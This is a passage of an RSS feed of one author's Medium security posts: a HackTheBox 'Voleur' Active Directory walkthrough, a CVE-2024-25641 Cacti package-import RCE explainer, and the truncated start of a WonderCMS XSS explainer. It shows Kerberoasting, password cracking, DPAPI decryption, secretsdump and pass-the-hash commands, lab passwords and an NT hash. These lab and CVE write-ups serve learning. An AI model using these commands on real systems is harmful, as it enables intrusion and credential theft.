AAAAB3NzaC1yc2EAAAADAQABAAABgQC+vH6cIy1hEFJoRs8wB3O/XIIg4X5gPQ8XIFAiqJYvSE7viX8cyr2UsxRAt0kG2mfbNIYZ+80o9bpXJ/M2Nhv1VRi4jMtc+5boOttHY1CEteMGF6EF6jNIIjVb9F5QiMiNNJea1wRDQ2buXhRoI/KmNMp+EPmBGB7PKZ+hYpZavF0EKKTC8HEHvyYDS4CcYfR0pNwIfaxT57rSCAdcFBcOUxKWOiRBK1Rv8QBwxGBhpfFngayFj8ewOOJHaqct4OQ3JUicetvox6kG8si9r0GRigonJXm0VMi/aFvZpJwF40g7+oG2EVu/sGSR6d6t3ln5PNCgGXw95pgYR4x9fLpn/OwK6tugAjeZMla3Mybmn3dXUc5BKqVNHQCMIS6rlIfHZiF114xVGuD9q89atGxL0uTlBOuBizTaF53Z//yBlKSfvXxW4ShH6F8iE1U8aNY92gUejGclVtFCFszYBC2FvGXivcKWsuSLMny++ZkcE4X7tUBQ+CuqYYK/5TfxmIs=<br>|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMkGDGeRmex5q16ficLqbT7FFvQJxdJZsJ01vdVjKBXfMIC/oAcLPRUwu5yBZeQoOvWF8yIVDN/FJPeqjT9cgxg=<br>|   256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILv295drVe3lopPEgZsjMzOVlk4qZZfFz1+EjXGebLCR<br>3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack ttl 127<br>5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing<br>49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>64520/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>65281/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0<br>65282/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>65287/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>65312/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC<br>Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel<br><br>Host script results:<br>| p2p-conficker:<br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 25377/tcp): CLEAN (Timeout)<br>|   Check 2 (port 42061/tcp): CLEAN (Timeout)<br>|   Check 3 (port 59721/udp): CLEAN (Timeout)<br>|   Check 4 (port 17558/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb2-security-mode:<br>|   3:1:1:<br>|_    Message signing enabled and required<br>|_clock-skew: 5h45m59s<br>| smb2-time:<br>|   date: 2025-10-31T20:00:10Z<br>|_  start_date: N/A</pre><p>We can see many ports such as smb, ldap, ssh etc. are open. But since, we have got credentials let’s start with bloodhound first.</p><h4>Bloodhound</h4><p>Let’s check the bloodhound to check the path that we need to go for further exploitation.</p><pre>bloodhound-python -c all -u ryan.naylor -p &#39;HollowOct31Nyt&#39; -d voleur.htb -ns 10.10.11.76 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*hlZ8mtOI4RswAo0Y7XsIvg.png" /></figure><p>Looking through the bloodhound, the user has low privileges.</p><h4>Enumerate SMB shares</h4><p>Let’s enumerate the smb shares as they might contain some files that might be useful.</p><p>The credentials fail over NTLM:</p><pre>$ impacket-smbclient voleur.htb/ryan.naylor:HollowOct31Nyt@dc.voleur.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*7o6ydPxP9674II8HuN1U2A.png" /></figure><p>STATUS_NOT_SUPPORTED means that NTLM auth is disabled. So, let’s use -k for <strong>kerberos</strong></p><pre>$ impacket-smbclient voleur.htb/ryan.naylor:HollowOct31Nyt@dc.voleur.htb -k<br>shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*Lck7HDGUmMht463QnNGdYg.png" /></figure><p>Among these shares, IT has some files. Let’s download those files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*89ED-hKDiL2aE-0LCXUBJg.png" /></figure><p>Once downloaded, on trying to open the Access_Review.xlsx file, it is encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*sWAwZM7Hyw1fjCwxE6TgVw.png" /></figure><h4>Cracking the .xlsx</h4><p>Let’s try to crack password and access the file.</p><pre>$ office2john Access_Review.xlsx  | tee xlsx.hash<br>Access_Review.xlsx:$office$*2013*100000*256*16*a80811402788c037b50df976864b33f5*500bd7e833dffaa28772a49e987be35b*7ec993c47ef39a61e86f8273536decc7d525691345004092482f9fd59cfa111c</pre><p>We can see that the hash generate matches with MS Office 2013. Let’s crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BaMF50OQ8EaIumPld7dIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*thjxAMDKNfWgdTzUfk9ugA.png" /></figure><pre>hashcat -m 9600 xlsx.hash /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBuPAjIahXeRgSODN1LU9g.png" /></figure><p>The password obtained is<strong> football1</strong>. Let’s reopen the file with the password, and the following is obtained:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyALoY1fv2-a44S1Lx_yA.png" /></figure><p>From above information, we can assert that user <strong>Todd.Wolfe</strong> is removed. <strong>svc_ldap</strong> and <strong>svc_iis</strong> password can be seen. To use <strong>svc_winrm</strong>, we may need to get <strong>Lacey.Miller</strong> who has permissions as <strong>Remote Management Users</strong>. Also, to use <strong>svc_backup</strong>, we may need to get <strong>Jeremy.Combs</strong> first.</p><h4>Adding ServicePrincipalName to targeted Kerberoast</h4><p>Since, we have the password fro <strong>svc_ldap</strong>, we can check it’s privileges on bloodhound. The bloodhound result shows that the user <strong>svc_ldap</strong> has <strong>WriteSPN</strong> permission on <strong>svc_winrm</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pSrDiP8uIpP08tNdWmMXg.png" /></figure><p>Now since we have <strong>WriteSPN</strong> permission on <strong>svc_winrm</strong>, we can set SPN of <strong>svc_winrm</strong> and the perform <strong>Kerberoasting</strong> attack on <strong>svc_winrm</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vvgVRXsfHLr9BsKXtbGu0g.png" /></figure><p>We can see the password for <strong>svc_ldap</strong>. So, we can first add SPN to <strong>svc_winrm</strong> and then try <strong>kerberoasting</strong>. But since, <strong>svc_ldap</strong> doesn’t have necessary rights to login through <strong>winrm</strong>, let’s use <strong>powerview</strong> as it uses ldap(s) and <strong>svc_ldap</strong> has LDAP services permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DG4iKiyjn9QOk8D93oMq4g.png" /></figure><pre>$ powerview voleur.htb/svc_ldap:&#39;M1XyC9pW7qT5Vn&#39;@dc.voleur.htb -k<br>Set-DomainObject -Identity svc_winrm -Set serviceprincipalname=&#39;evil/evil&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ueKwTiLTpUr0t5xLhX7NYQ.png" /></figure><pre>$ impacket-GetUserSPNs voleur.htb/svc_ldap:&#39;M1XyC9pW7qT5Vn&#39; -request -dc-ip 10.10.11.76 -dc-host dc.voleur.htb -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFaRhmVr2q6TvUki8PIX8g.png" /></figure><p>Then put the hash to be cracked through hashcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KyxJhI0SUD922ii3BcIqRw.png" /></figure><p>The hash is successfully cracked and the password is obtained.</p><pre>AFireInsidedeOzarctica980219afi</pre><p>Logging in as svc_winrm and we get user.txt.</p><pre>python3 winrmexec.py voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi@dc.voleur.htb -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*6j8aFc7j0qaW33-SeDeCSA.png" /></figure><p>Except for user.txt, no further enumeration could be done and hence we can confirm that this is a dead end. Then I tried to targeted kerberoast <strong>lacey.miller</strong> as well but the hash couldn’t be cracked.</p><p>In the excel sheet, a user<strong> </strong><strong>Todd.Wolfe</strong> who was <strong>deleted</strong> has his password set to <strong>NightT1meP1dg3on14</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*InCZSnKvLiWQEkcdgTI_eQ.png" /></figure><h4>Restore Deleted User</h4><p>Let’s enumerate for writable permissions on various objects within the Active Directory, revealing which accounts have write or create permissions.</p><p><a href="https://seriotonctf.github.io/BloodyAD-Cheatsheet/index.html">BloodyAD Cheatsheet</a></p><pre>bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k get writable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzsPxeq5gqTyVHK8NCygBw.png" /></figure><p>We can see <strong>Todd Wolfe</strong> being listed as well and also has <strong>WRITE</strong> permission. It indicates that <strong>svc_user</strong> can create and write to objects within the <strong>Deleted Objects</strong> container. But, we need <strong>sAMAccountName</strong> for Todd Wolfe, a <strong>tombstoned object</strong>, in order to restore.</p><pre>bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k get search -h</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aiEhwkNn3rU2RO3JVfqoOA.png" /></figure><blockquote><strong>-c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065</strong> must be specified in order to display <strong>tomstoned</strong> objects.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TcSfdKvadKQ37Cw18r5cUg.png" /></figure><p>We got the <strong>sAMAcountName</strong>, now let’s try to restore it.</p><pre>bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn -k set restore todd.wolfe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jOmLS4JLgZv7bmh9H1Lz-w.png" /></figure><p>Let’s check if the credential works:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uKHvmoZ_LQZRqAti_qhfoQ.png" /></figure><p>Though, the credential is correct but we cannot login using the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*UUg0wZLLy0MKyXYTjxsR0w.png" /></figure><p>Let’s try running <strong>runas</strong> from the machine and get reverse shell as <strong>todd.wolfe</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QoqsE9y4CezsEgxsK4frAw.png" /></figure><p>Now, since we are <strong>todd.wolfe</strong>, let’s go to the previously found folder and enumerate what’s inside <strong>C:\IT\Second-Line Support</strong> as todd.wolfe is a <strong>Second-Line Support</strong> staff.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*AHJDoFEzuNPoCUcTawWoRQ.png" /></figure><p>We can see that the <strong>archived</strong> data for todd.wolfe are stored here.</p><p>Since all the data are archived, let’s enumerate <strong>DPAPI</strong> using a standard script for any stored credentials or other information.</p><p><a href="https://xtromera.github.io/arsenal/dpapiAuto/">Windows/DPAPI automated discovery</a></p><pre>$searchDir = &quot;C:\IT\Second-Line Support\Archived Users&quot;<br>$users = Get-ChildItem $searchDir<br>foreach ($user in $users) {<br>    &quot; ========== $user - Master Key =========&quot; ;<br>    $folders = Get-ChildItem -Directory -force &quot;$searchDir\$user\AppData\Roaming\Microsoft\Protect\&quot; -ErrorAction SilentlyContinue; <br>    foreach ($folder in $folders) {<br>        &quot;$searchDir\$user\AppData\Roaming\Microsoft\Protect\$folder&quot;<br>        Get-ChildItem -force &quot;$searchDir\$user\AppData\Roaming\Microsoft\Protect\$folder&quot; -ErrorAction SilentlyContinue | foreach {$_.Fullname}<br>    }<br>    <br>    $folders = Get-ChildItem -Directory -force &quot;$searchDir\$user\AppData\Local\Microsoft\Protect\&quot; -ErrorAction SilentlyContinue<br>    foreach ($folder in $folders) {<br>        &quot;$searchDir\$user\AppData\Local\Microsoft\Protect\$folder&quot;<br>        Get-ChildItem -force &quot;$searchDir\$user\AppData\Local\Microsoft\Protect\$folder&quot; -ErrorAction SilentlyContinue | foreach {$_.Fullname}<br>    }<br>    <br>    &quot; ========== $user - Secret =========&quot; ;<br>    Get-ChildItem -force &quot;$searchDir\$user\AppData\Roaming\Microsoft\Credentials&quot; -ErrorAction SilentlyContinue | foreach {$_.Fullname} <br>    Get-ChildItem -force &quot;$searchDir\$user\AppData\Local\Microsoft\Credentials&quot; -ErrorAction SilentlyContinue | foreach {$_.Fullname} <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r-ENto3HmhSQpNFj3u0KJg.png" /></figure><p>We got <strong>Master Key</strong> and <strong>Secret</strong>. Let’s download them and decrypt.</p><p><a href="https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets">DPAPI secrets | The Hacker Recipes</a></p><pre>impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88  -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwfFWbi0uTeerzsBz9uEyg.png" /></figure><pre>impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*86s7Sij6-oGTXF_LtbwUfA.png" /></figure><p>New user found: <strong>jeremy.combs</strong></p><pre>Username: jeremy.combs<br>Unknown: qT3V9pLXyN7W4m</pre><h4>Shell as jeremy.combs</h4><p>Let’s check the IT directory again. There is a <strong>SSH</strong> key and a <strong>Note.txt.txt</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBDNz25c5ItrCkEGyRXyPQ.png" /></figure><p>Now, if we recall the excel file, we can see that in order to login as user <strong>svc_backup</strong>, we need to <strong>talk</strong> to <strong>jeremy.combs</strong>. So, we got the <strong>id_rsa</strong> and also there is a mention about <strong>Linux</strong> and port 2222 is also open for ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpsMMIaf56wOH1TJ0CJjuA.png" /></figure><h4>Shell on WSL as svc_backup</h4><p>So, let’s try to login through ssh as <strong>svc_backup</strong>:</p><pre>ssh -i id_rsa svc_backup@10.10.11.76 -p 2222</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*9ovCpyfLEMppQ45FFTIhEw.png" /></figure><p>Since, it’s a WSL, the entire C drive would be mounted on /mnt.</p><p>Let’s try to check the folder on IT as well but now the <strong>Backups</strong> folder. We can see there are two folders: <strong>Active Directory</strong> and <strong>registry.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*UmOAEaLkMYpiAkzPf3IJWA.png" /></figure><p>We can see there are four files. Let’s download them and get <strong>Administrator</strong> hash.</p><p><a href="https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/dumping-windows-password-hashes/">Dumping Windows Password Hashes - Exploit Notes</a></p><pre>impacket-secretsdump -ntds ntds.dit -system SYSTEM -security SECURITY local| grep Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fgj2gdO6cezDTVFPCP5rZg.png" /></figure><p>Let’s login as the administrator:</p><pre>python3 winrmexec.py voleur.htb/administrator@dc.voleur.htb -k -hashes :e656e07c56d831611b577b160b259ad2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*2E2ZK9NC0B7eYg0EEELVag.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a426f671a26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Why and How of CVE-2024–25641 | Cacti 1.2.26]]></title>
            <link>https://shivamaharjan.medium.com/why-and-how-of-cve-2024-25641-cacti-1-2-26-cd9f9dd48352?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd9f9dd48352</guid>
            <category><![CDATA[cve-2024-25641]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[cactus]]></category>
            <category><![CDATA[new-things-to-learn]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Thu, 05 Sep 2024 08:52:18 GMT</pubDate>
            <atom:updated>2024-09-06T03:36:04.666Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Summary</strong></blockquote><blockquote>An arbitrary <strong>file write</strong> vulnerability, <strong>exploitable</strong> through the “<strong>Package Import</strong>” feature, allows <strong>authenticated users</strong> having the “<strong>Import Templates</strong>” <strong>permission</strong> to execute arbitrary PHP code on the web server (RCE).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*6RSko6SORDX33-hW" /></figure><p><strong>CVE-2024–25641</strong> is a severe security vulnerability that affects Cacti, a popular network monitoring tool. This vulnerability allows authenticated users with the “Import Templates” permission to execute arbitrary PHP code on the web server. This means that an attacker could potentially gain full control over the Cacti system, including access to sensitive data and the ability to disrupt network operations.</p><p>To exploit this vulnerability, an attacker would need to create a specially crafted package file and upload it to the Cacti system using the “Import Templates” feature.</p><h3>Why does it occur?</h3><p>This only can be exploited if a user is <strong>authenticated</strong> and has “<strong>Import Templates</strong>” permission granted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*RzAkzCmv5kPFEfgqkyMWmA.png" /><figcaption>Endpoint that has package import capability</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wmnj1on5aHA6fFuoLTr3CA.png" /><figcaption>Showing that it needs authentication to access the page</figcaption></figure><p>Upon <strong>import</strong> of the required <strong>.xml.gz</strong> file, it will trigger<strong> </strong><strong>form_save()</strong> function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jdrAkJ9t2yxTApGla739Q.png" /><figcaption>Importing Package</figcaption></figure><p>When the <strong>Select a File</strong> is used for importing the package, it will send the following request that has <strong>save</strong> set in <strong>action.</strong></p><pre>POST /cacti/package_import.php?package_location=0&amp;preview_only=on&amp;remove_orphans=on&amp;replace_svalues=on HTTP/1.1<br>Host: cacti.monitorsthree.htb<br>Content-Length: 2527<br>Accept: */*<br>X-Requested-With: XMLHttpRequest<br>Accept-Language: en-US<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Origin: http://cacti.monitorsthree.htb<br>Referer: http://cacti.monitorsthree.htb/cacti/package_import.php<br>Accept-Encoding: gzip, deflate, br<br>Cookie: CactiTimeZone=345; Cacti=shsn17j1rprrup7osmi6o75lnf; cacti_remembers=1%2C0%2C110edef47b7001afb2ab6ef210b2cd192cb207acb4b95c07e0d25110794da6ca; CactiDateTime=Thu Sep 05 2024 12:15:22 GMT+0545 (Nepal Time)<br>Connection: keep-alive<br><br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;__csrf_magic&quot;<br><br>sid:e841be035bb23d0ed11f1139d7172efe7a7da8c5,1725517217<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;import_file&quot;; filename=&quot;test.xml.gz&quot;<br>Content-Type: application/gzip<br><br>�d0[AaSP�rc3g�n�����&quot;<br>�s2\\Ş��N���h�=~�/��$5j���ɪĺ�����:���Q&quot;C<br>��^��M�L&quot;V�+R+�<br>R�����G,*5�� ��լg��)�� H��zH;���8P��x��a����� �G�p�[NʵA^�r))���iL[���׼�L#I &lt;�Bh匧5&quot;��j�R����Amb{��<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;trust_signer&quot;<br><br>on<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;data_source_profile&quot;<br><br>1<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;remove_orphans&quot;<br><br>on<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;replace_svalues&quot;<br><br>on<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;image_format&quot;<br><br>3<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;graph_height&quot;<br><br>200<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;graph_width&quot;<br><br>700<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;save_component_import&quot;<br><br>1<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;preview_only&quot;<br><br>on<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;action&quot;<br><br>save<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*3vru5SpvrNXdtgxVj4eiWQ.png" /><figcaption>Part of <strong>request</strong> from above request when importing a package</figcaption></figure><p>As we can see when the<strong> </strong><strong>package_import.php</strong> is called, it checks, if <strong>action</strong> variable is set. Since, in our request, <strong>action</strong> is set with the value of<strong>save</strong>, <strong>form_save()</strong> function is called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*IxKJTjcr6_RZM7-QflaqIg.png" /></figure><p>To check, if it does or not, let’s upload an invalid file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*WTMCbTcSaM_g8XofJ1H6ZA.png" /><figcaption>zip file containing .xml file with no content</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iicErQD-CIK87_3lfmunhg.png" /><figcaption>Error triggered after uploading invalid file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_8IGJDCaxnilIXJehfMNQ.png" /><figcaption>Function of the file that triggers the error.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wbFe7p6HFrAvMaqDbHYpVw.png" /><figcaption>Checking if public key is set</figcaption></figure><pre>POST /cacti/package_import.php?package_location=0&amp;preview_only=on&amp;remove_orphans=on&amp;replace_svalues=on HTTP/1.1<br>Host: cacti.monitorsthree.htb<br>Content-Length: 2527<br>Accept: */*<br>X-Requested-With: XMLHttpRequest<br>Accept-Language: en-US<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Origin: http://cacti.monitorsthree.htb<br>Referer: http://cacti.monitorsthree.htb/cacti/package_import.php<br>Accept-Encoding: gzip, deflate, br<br>Cookie: CactiTimeZone=345; Cacti=shsn17j1rprrup7osmi6o75lnf; cacti_remembers=1%2C0%2C110edef47b7001afb2ab6ef210b2cd192cb207acb4b95c07e0d25110794da6ca; CactiDateTime=Thu Sep 05 2024 12:15:22 GMT+0545 (Nepal Time)<br>Connection: keep-alive<br><br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;import_file&quot;; filename=&quot;test.xml.gz&quot;<br>Content-Type: application/gzip<br><br>�<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;trust_signer&quot;<br><br>on<br><br>--snip--<br><br>------WebKitFormBoundarycPpRMJW8sIv8f3PO<br>Content-Disposition: form-data; name=&quot;action&quot;<br><br>save<br>------WebKitFormBoundarycPpRMJW8sIv8f3PO--</pre><p>Likewise, there are other various functions in the file.</p><h3>Import.php</h3><p>The function <strong>import_package, </strong>from<strong> </strong><strong>import.php</strong> is called whenever <strong>form_save</strong> function is called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BYrbCqCFhEvsX0MEtI4FYg.png" /><figcaption><strong>import_package</strong> function being called inside <strong>form_save</strong> function</figcaption></figure><p>Inside the <strong>import_package</strong> function, the <strong>compressed file</strong> is parsed using <strong>import_read_package_data </strong>checks if the data is as per requirement and is stored in <strong>$data</strong> variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yWdoqjbn53y2BYLILDLv6w.png" /></figure><h3>The Vulnerability</h3><p>Inside the <strong>import_package</strong> function there is a write function which doesn’t check if any <strong>malicious</strong> payload are being sent in the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpVknyKOTwLoOtfrcpxufQ.png" /><figcaption>Writing file to the system</figcaption></figure><p>So, from above code we can assert that, if the directory is set to be either <strong>scripts</strong> or <strong>resource</strong>, the file can be written to when the preview is set to false.</p><p>Preview is set to false or not set when the file is imported to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6A5mptYUseODFfE3mSVokw.png" /><figcaption>importing package</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*3GUbr294MqWGkIxL92rOWw.png" /><figcaption>Request sent while importing package</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UtzXOMGvkq2E5v9YkWvG4w.png" /><figcaption><strong>php_info()</strong> shown in the <strong>re.php</strong> file</figcaption></figure><h3><strong>Exploit</strong></h3><p>Now, since we can set our desired contents in php. We can get a RCE.</p><p><a href="https://github.com/cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88">RCE vulnerability when importing packages</a></p><p>We just have to create a package with <strong>.xml.gz</strong>extension which when gunzipped will extract <strong>.xml</strong> file. The file needs to have required headers i.e. <strong>publickey, signature, name of the file with location</strong> of either <strong>sources</strong> or <strong>resource</strong> and <strong>data</strong>, all in <strong>base64 encoded data</strong>. Public key can be <strong>created by user themselves</strong> from which the signature can be created. Also the <strong>filename</strong> and the <strong>.xml</strong> filename must match otherwise it won’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G8TTwLx1uf4Uf24ZSEfBYQ.png" /><figcaption>Creating package for RCE</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eaYHW4PAw4N6T3PW6eJ4OQ.png" /><figcaption>Importing the Package</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*wauU7KSSIHp8ri7TrBUU0g.png" /><figcaption>RCE</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd9f9dd48352" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Why and How of CVE-2023–41425 | WonderCMS Vulnerability]]></title>
            <link>https://shivamaharjan.medium.com/the-why-and-how-of-cve-2023-41425-wondercms-vulnerability-7ebffbff37d2?source=rss-e5c2e89f25d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ebffbff37d2</guid>
            <category><![CDATA[wondercms]]></category>
            <category><![CDATA[cve-2023-41425]]></category>
            <category><![CDATA[new-thing-to-learn]]></category>
            <dc:creator><![CDATA[Shiva Maharjan]]></dc:creator>
            <pubDate>Tue, 13 Aug 2024 18:05:38 GMT</pubDate>
            <atom:updated>2024-08-14T03:48:09.431Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>WonderCMS is a small and simple flat file CMS. Aimed to be extremely light and easy to install.<br> Perfect for simple websites, landing pages or blogs. <a href="https://www.wondercms.com/about">wondercms.com</a></blockquote><h3>What is CVE-2023–41425?</h3><p>CVE-2023–41425 is a <strong>Cross-Site Scripting (XSS)</strong> vulnerability discovered in Wonder CMS <strong>versions 3.2.0 through 3.4.2</strong>. This means that a malicious actor could exploit this flaw to inject malicious scripts into the website, potentially allowing them to steal user data, hijack sessions, or perform other harmful actions.</p><h3>How does CVE-2023–41425 work?</h3><p>The vulnerability exists in the <strong>installModule</strong> component of Wonder CMS. An attacker can <strong>upload a crafted script</strong> to this component, which, when executed, allows them to <strong>inject malicious code</strong> into the website.</p><pre>public function installUpdateModuleAction(): void<br> {<br>  if (!isset($_REQUEST[&#39;installModule&#39;], $_REQUEST[&#39;type&#39;]) || !$this-&gt;verifyFormActions(true)) {<br>   return;<br>  }<br><br>  $folderName = trim(htmlspecialchars($_REQUEST[&#39;installModule&#39;]));<br>  $type = $_REQUEST[&#39;type&#39;];<br>  $cached = 